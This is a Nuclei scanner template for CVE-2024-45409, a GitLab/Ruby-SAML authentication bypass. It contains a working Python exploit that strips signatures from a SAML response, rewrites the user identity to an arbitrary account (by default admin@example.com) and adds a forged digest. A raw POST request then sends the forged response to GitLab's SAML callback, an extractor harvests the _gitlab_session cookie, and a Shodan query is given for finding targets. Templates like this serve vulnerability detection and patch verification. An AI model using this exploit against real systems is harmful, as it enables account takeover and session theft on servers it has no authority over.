124 lines
4.7 KiB
YAML
124 lines
4.7 KiB
YAML
id: CVE-2024-45409
|
|
|
|
info:
|
|
name: GitLab - SAML Authentication Bypass
|
|
author: iamnoooob,rootxharsh,pdresearch
|
|
severity: critical
|
|
description: |
|
|
The Ruby SAML library is for implementing the client side of a SAML authorization. Ruby-SAML in <= 12.2 and 1.13.0 <= 1.16.0 does not properly verify the signature of the SAML Response.
|
|
impact: |
|
|
An unauthenticated attacker with access to any signed saml document (by the IdP) can thus forge a SAML Response/Assertion with arbitrary contents. This would allow the attacker to log in as arbitrary user within the vulnerable system.
|
|
remediation: |
|
|
This vulnerability is fixed in 1.17.0 and 1.12.3.
|
|
reference:
|
|
- https://about.gitlab.com/releases/2024/09/17/patch-release-gitlab-17-3-3-released/
|
|
- https://github.com/omniauth/omniauth-saml/security/advisories/GHSA-cvp8-5r8g-fhvq
|
|
- https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-jw9c-mfg7-9rx2
|
|
- https://blog.projectdiscovery.io/ruby-saml-gitlab-auth-bypass/
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2024-45409
|
|
cwe-id: CWE-347
|
|
metadata:
|
|
verified: true
|
|
shodan-query: http.title:"GitLab"
|
|
product: gitlab
|
|
vendor: gitlab
|
|
tags: cve,cve2024,saml,auth-bypass,gitlab,code
|
|
|
|
code:
|
|
- engine:
|
|
- py
|
|
- python3 # requires python to be pre-installed on system running nuclei
|
|
source: |
|
|
try:
|
|
from lxml import etree
|
|
except ImportError:
|
|
raise ImportError("The 'lxml' library is not installed. Please install it using 'pip install lxml'.")
|
|
import hashlib,os
|
|
import base64
|
|
from datetime import datetime, timedelta
|
|
import urllib.parse
|
|
import requests
|
|
username = os.getenv('username')
|
|
if not username:
|
|
username='admin@example.com'
|
|
saml_response = os.getenv('SAMLResponse')
|
|
xml_content = base64.b64decode(urllib.parse.unquote(saml_response))
|
|
parser = etree.XMLParser(remove_blank_text=True)
|
|
root = etree.fromstring(xml_content, parser)
|
|
|
|
namespaces = {
|
|
'samlp': 'urn:oasis:names:tc:SAML:2.0:protocol',
|
|
'saml': 'urn:oasis:names:tc:SAML:2.0:assertion',
|
|
'ds': 'http://www.w3.org/2000/09/xmldsig#'
|
|
}
|
|
|
|
response_signature = root.find('./ds:Signature', namespaces)
|
|
if response_signature is not None:
|
|
root.remove(response_signature)
|
|
|
|
nameid = root.find(
|
|
'.//saml:NameID',
|
|
namespaces
|
|
)
|
|
if nameid is not None:
|
|
nameid.text = username
|
|
|
|
attribute_values = root.findall('.//saml:AttributeValue', namespaces)
|
|
for attr_value in attribute_values:
|
|
attr_value.text = username
|
|
|
|
assertion = root.find('.//saml:Assertion', namespaces)
|
|
if assertion is not None:
|
|
# Create a deep copy of the assertion for digest calculation
|
|
assertion_copy = etree.fromstring(etree.tostring(assertion))
|
|
signature_in_assertion = assertion_copy.find('.//ds:Signature', namespaces)
|
|
if signature_in_assertion is not None:
|
|
signature_in_assertion.getparent().remove(signature_in_assertion)
|
|
canonicalized_assertion = etree.tostring(
|
|
assertion_copy, method='c14n', exclusive=True, with_comments=False
|
|
)
|
|
digest = hashlib.sha256(canonicalized_assertion).digest()
|
|
digest_value = base64.b64encode(digest).decode()
|
|
else:
|
|
digest_value = ''
|
|
|
|
issuer = root.find('.//saml:Issuer', namespaces)
|
|
if issuer is not None:
|
|
parent = issuer.getparent()
|
|
index = parent.index(issuer)
|
|
extensions = etree.Element('{urn:oasis:names:tc:SAML:2.0:protocol}Extensions')
|
|
digest_element = etree.SubElement(
|
|
extensions, '{http://www.w3.org/2000/09/xmldsig#}DigestValue'
|
|
)
|
|
digest_element.text = digest_value
|
|
parent.insert(index + 1, extensions)
|
|
|
|
malformed_samlresponse = urllib.parse.quote(base64.b64encode((etree.tostring(
|
|
root, pretty_print=False, xml_declaration=True, encoding='UTF-8'
|
|
))))
|
|
print(malformed_samlresponse)
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /users/auth/saml/callback HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
RelayState=undefined&SAMLResponse={{code_response}}
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'contains(header,"known_sign_in")'
|
|
- 'status_code == 302'
|
|
condition: and
|
|
|
|
extractors:
|
|
- type: kval
|
|
kval:
|
|
- _gitlab_session
|
|
# digest: 4b0a00483046022100aac3014dc61bab8223d36c1bd10f19aa4886b33778e2b16cf891fce7f7c24bee022100a42cd0b25c8f4a54304541ca26f508284772b55881c43962eb396092205425ff:922c64590222798bb761d5b6d8e72950 |